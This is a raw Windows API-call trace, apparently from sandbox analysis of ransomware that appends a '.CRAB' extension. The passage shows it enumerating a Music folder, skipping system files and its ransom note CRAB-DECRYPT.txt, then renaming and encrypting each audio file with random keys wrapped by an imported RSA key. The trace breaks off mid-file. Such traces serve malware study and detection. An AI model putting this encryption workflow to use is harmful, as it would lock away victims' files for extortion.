	[0131.573] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\CRAB-DECRYPT.txt"
	[0131.573] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0131.573] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\CRAB-DECRYPT.txt") returned 97
	[0131.573] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\CRAB-DECRYPT.txt") returned 97
	[0131.573] lstrlenW (lpString=".txt") returned 4
	[0131.573] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0131.574] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0131.574] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.574] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\CRAB-DECRYPT.txt") returned 97
	[0131.574] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\CRAB-DECRYPT.txt") returned 97
	[0131.574] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0131.574] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0131.574] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0131.574] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0131.574] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0131.574] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0131.574] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0131.574] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0131.574] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0131.574] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.574] FindNextFileW (in: hFindFile=0x320ded0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0131.575] lstrcmpW (lpString1="LlhFu31t.mp3", lpString2=".") returned 1
	[0131.575] lstrcmpW (lpString1="LlhFu31t.mp3", lpString2="..") returned 1
	[0131.575] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\", lpString2="LlhFu31t.mp3" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\LlhFu31t.mp3") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\LlhFu31t.mp3"
	[0131.575] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0131.575] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\LlhFu31t.mp3") returned 93
	[0131.575] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\LlhFu31t.mp3") returned 93
	[0131.575] lstrlenW (lpString=".mp3") returned 4
	[0131.575] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0131.575] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".mp3 ") returned 5
	[0131.575] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.576] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\LlhFu31t.mp3") returned 93
	[0131.576] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\LlhFu31t.mp3") returned 93
	[0131.576] lstrcmpiW (lpString1="LlhFu31t.mp3", lpString2="desktop.ini") returned 1
	[0131.576] lstrcmpiW (lpString1="LlhFu31t.mp3", lpString2="autorun.inf") returned 1
	[0131.576] lstrcmpiW (lpString1="LlhFu31t.mp3", lpString2="ntuser.dat") returned -1
	[0131.576] lstrcmpiW (lpString1="LlhFu31t.mp3", lpString2="iconcache.db") returned 1
	[0131.576] lstrcmpiW (lpString1="LlhFu31t.mp3", lpString2="bootsect.bak") returned 1
	[0131.576] lstrcmpiW (lpString1="LlhFu31t.mp3", lpString2="boot.ini") returned 1
	[0131.577] lstrcmpiW (lpString1="LlhFu31t.mp3", lpString2="ntuser.dat.log") returned -1
	[0131.577] lstrcmpiW (lpString1="LlhFu31t.mp3", lpString2="thumbs.db") returned -1
	[0131.577] lstrcmpiW (lpString1="LlhFu31t.mp3", lpString2="CRAB-DECRYPT.txt") returned 1
	[0131.577] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0131.577] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\LlhFu31t.mp3.CRAB") returned 98
	[0131.577] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\LlhFu31t.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\vdr4m 7z-bfqy\\bzj2hufm2xqpz20kv\\llhfu31t.mp3")) returned 0x20
	[0131.577] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\LlhFu31t.mp3", dwFileAttributes=0x20) returned 1
	[0131.578] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\LlhFu31t.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\vdr4m 7z-bfqy\\bzj2hufm2xqpz20kv\\llhfu31t.mp3"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\LlhFu31t.mp3.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\vdr4m 7z-bfqy\\bzj2hufm2xqpz20kv\\llhfu31t.mp3.crab")) returned 1
	[0131.579] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0131.579] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\LlhFu31t.mp3.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\LlhFu31t.mp3.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\LlhFu31t.mp3.CRAB"
	[0131.579] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\LlhFu31t.mp3.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\LlhFu31t.mp3.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\LlhFu31t.mp3.CRAB.CRAB"
	[0131.579] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6eb78) returned 1
	[0131.582] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0131.582] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0131.582] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0131.582] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x10, pbBuffer=0x314b41c | out: pbBuffer=0x314b41c) returned 1
	[0131.582] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0131.582] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.583] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e408) returned 1
	[0131.585] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0131.586] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0131.586] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0131.586] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314b3f8 | out: pbBuffer=0x314b3f8) returned 1
	[0131.586] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0131.586] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.586] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0131.586] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0131.587] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e6b0) returned 1
	[0131.589] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0x320e390) returned 1
	[0131.590] CryptGetKeyParam (in: hKey=0x320e390, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0131.590] CryptEncrypt (in: hKey=0x320e390, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314b42c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314b42c*=0x100) returned 1
	[0131.592] GetLastError () returned 0x0
	[0131.592] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0131.592] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e408) returned 1
	[0131.595] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0x320e010) returned 1
	[0131.595] CryptGetKeyParam (in: hKey=0x320e010, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0131.595] CryptEncrypt (in: hKey=0x320e010, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314b430*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314b430*=0x100) returned 1
	[0131.596] GetLastError () returned 0x0
	[0131.596] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0131.596] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\LlhFu31t.mp3.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\vdr4m 7z-bfqy\\bzj2hufm2xqpz20kv\\llhfu31t.mp3.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0131.596] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0131.597] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0131.597] ReadFile (in: hFile=0x3f4, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314b474, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314b474*=0xa735, lpOverlapped=0x0) returned 1
	[0131.613] VirtualAlloc (lpAddress=0x0, dwSize=0xa740, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0131.614] VirtualAlloc (lpAddress=0x0, dwSize=0xa740, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0131.615] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.616] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xffff58cb, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.616] WriteFile (in: hFile=0x3f4, lpBuffer=0x310000*, nNumberOfBytesToWrite=0xa740, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314b464*=0xa740, lpOverlapped=0x0) returned 1
	[0131.616] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.616] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.620] WriteFile (in: hFile=0x3f4, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0131.620] WriteFile (in: hFile=0x3f4, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0131.620] WriteFile (in: hFile=0x3f4, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314b464*=0x8, lpOverlapped=0x0) returned 1
	[0131.620] CloseHandle (hObject=0x3f4) returned 1
	[0131.620] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.621] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.621] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.621] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.621] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.621] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.622] FindNextFileW (in: hFindFile=0x320ded0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0131.622] lstrcmpW (lpString1="qf8TnY3j37.m4a", lpString2=".") returned 1
	[0131.622] lstrcmpW (lpString1="qf8TnY3j37.m4a", lpString2="..") returned 1
	[0131.622] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\", lpString2="qf8TnY3j37.m4a" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\qf8TnY3j37.m4a") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\qf8TnY3j37.m4a"
	[0131.622] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0131.622] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\qf8TnY3j37.m4a") returned 95
	[0131.622] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\qf8TnY3j37.m4a") returned 95
	[0131.622] lstrlenW (lpString=".m4a") returned 4
	[0131.622] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0131.622] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".m4a ") returned 5
	[0131.622] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.623] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\qf8TnY3j37.m4a") returned 95
	[0131.623] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\qf8TnY3j37.m4a") returned 95
	[0131.623] lstrcmpiW (lpString1="qf8TnY3j37.m4a", lpString2="desktop.ini") returned 1
	[0131.623] lstrcmpiW (lpString1="qf8TnY3j37.m4a", lpString2="autorun.inf") returned 1
	[0131.623] lstrcmpiW (lpString1="qf8TnY3j37.m4a", lpString2="ntuser.dat") returned 1
	[0131.623] lstrcmpiW (lpString1="qf8TnY3j37.m4a", lpString2="iconcache.db") returned 1
	[0131.623] lstrcmpiW (lpString1="qf8TnY3j37.m4a", lpString2="bootsect.bak") returned 1
	[0131.623] lstrcmpiW (lpString1="qf8TnY3j37.m4a", lpString2="boot.ini") returned 1
	[0131.623] lstrcmpiW (lpString1="qf8TnY3j37.m4a", lpString2="ntuser.dat.log") returned 1
	[0131.623] lstrcmpiW (lpString1="qf8TnY3j37.m4a", lpString2="thumbs.db") returned -1
	[0131.623] lstrcmpiW (lpString1="qf8TnY3j37.m4a", lpString2="CRAB-DECRYPT.txt") returned 1
	[0131.623] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0131.623] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\qf8TnY3j37.m4a.CRAB") returned 100
	[0131.623] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\qf8TnY3j37.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\vdr4m 7z-bfqy\\bzj2hufm2xqpz20kv\\qf8tny3j37.m4a")) returned 0x20
	[0131.624] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\qf8TnY3j37.m4a", dwFileAttributes=0x20) returned 1
	[0131.624] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\qf8TnY3j37.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\vdr4m 7z-bfqy\\bzj2hufm2xqpz20kv\\qf8tny3j37.m4a"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\qf8TnY3j37.m4a.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\vdr4m 7z-bfqy\\bzj2hufm2xqpz20kv\\qf8tny3j37.m4a.crab")) returned 1
	[0131.625] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0131.625] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\qf8TnY3j37.m4a.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\qf8TnY3j37.m4a.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\qf8TnY3j37.m4a.CRAB"
	[0131.625] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\qf8TnY3j37.m4a.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\qf8TnY3j37.m4a.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\qf8TnY3j37.m4a.CRAB.CRAB"
	[0131.625] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e9e0) returned 1
	[0131.639] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0131.640] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0131.640] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0131.640] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x314b41c | out: pbBuffer=0x314b41c) returned 1
	[0131.640] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0131.640] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.640] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e408) returned 1
	[0131.643] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0131.643] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0131.643] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0131.643] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314b3f8 | out: pbBuffer=0x314b3f8) returned 1
	[0131.644] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0131.644] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.644] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0131.644] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0131.644] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6ed98) returned 1
	[0131.647] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0x320e410) returned 1
	[0131.647] CryptGetKeyParam (in: hKey=0x320e410, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0131.647] CryptEncrypt (in: hKey=0x320e410, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314b42c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314b42c*=0x100) returned 1
	[0131.648] GetLastError () returned 0x0
	[0131.648] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0131.648] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e5a0) returned 1
	[0131.651] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0x320e250) returned 1
	[0131.651] CryptGetKeyParam (in: hKey=0x320e250, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0131.651] CryptEncrypt (in: hKey=0x320e250, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314b430*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314b430*=0x100) returned 1
	[0131.651] GetLastError () returned 0x0
	[0131.651] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0131.651] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\qf8TnY3j37.m4a.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\vdr4m 7z-bfqy\\bzj2hufm2xqpz20kv\\qf8tny3j37.m4a.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0131.652] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0131.652] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
